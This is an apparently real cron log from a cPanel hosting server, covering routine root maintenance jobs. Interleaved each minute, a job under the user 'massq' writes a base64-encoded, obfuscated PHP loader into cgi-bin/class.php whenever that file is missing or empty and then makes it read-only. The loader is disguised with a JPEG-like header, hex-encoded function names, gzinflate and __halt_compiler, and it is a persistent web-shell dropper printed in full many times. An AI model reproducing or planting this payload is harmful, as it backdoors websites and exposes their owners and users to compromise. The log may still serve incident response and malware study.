Aug 31 19:50:01 server CROND[14872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:50:01 server CROND[14873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:50:01 server CROND[14867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 19:50:01 server CROND[14871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:50:01 server CROND[14868]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:50:01 server CROND[14870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:51:01 server CROND[15695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:51:01 server CROND[15696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:51:01 server CROND[15697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:52:01 server CROND[16068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:52:01 server CROND[16069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:52:01 server CROND[16073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:53:01 server CROND[16542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:53:01 server CROND[16544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:53:01 server CROND[16543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:54:01 server CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:54:01 server CROND[16917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:54:01 server CROND[16918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:55:01 server CROND[17301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 19:55:01 server CROND[17305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 19:55:01 server CROND[17312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:55:01 server CROND[17315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:55:01 server CROND[17313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:55:01 server CROND[17314]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 19:55:01 server CROND[17317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 19:56:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:56:01 server CROND[18128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:56:01 server CROND[18129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:57:01 server CROND[18502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:57:01 server CROND[18501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:57:01 server CROND[18503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:57:01 server CROND[18500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 19:58:01 server CROND[18869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:58:01 server CROND[18870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:58:01 server CROND[18871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 19:59:01 server CROND[19546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 19:59:01 server CROND[19547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 19:59:01 server CROND[19548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:00:01 server CROND[19966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 20:00:01 server CROND[19968]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 20:00:01 server CROND[19970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 20:00:01 server CROND[19971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 20:00:01 server CROND[19975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 20:00:01 server CROND[19974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:00:01 server CROND[19979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 20:00:01 server CROND[19978]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 20:00:01 server CROND[19973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 20:00:01 server CROND[19976]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 20:01:01 server CROND[20914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 20:01:01 server CROND[20916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
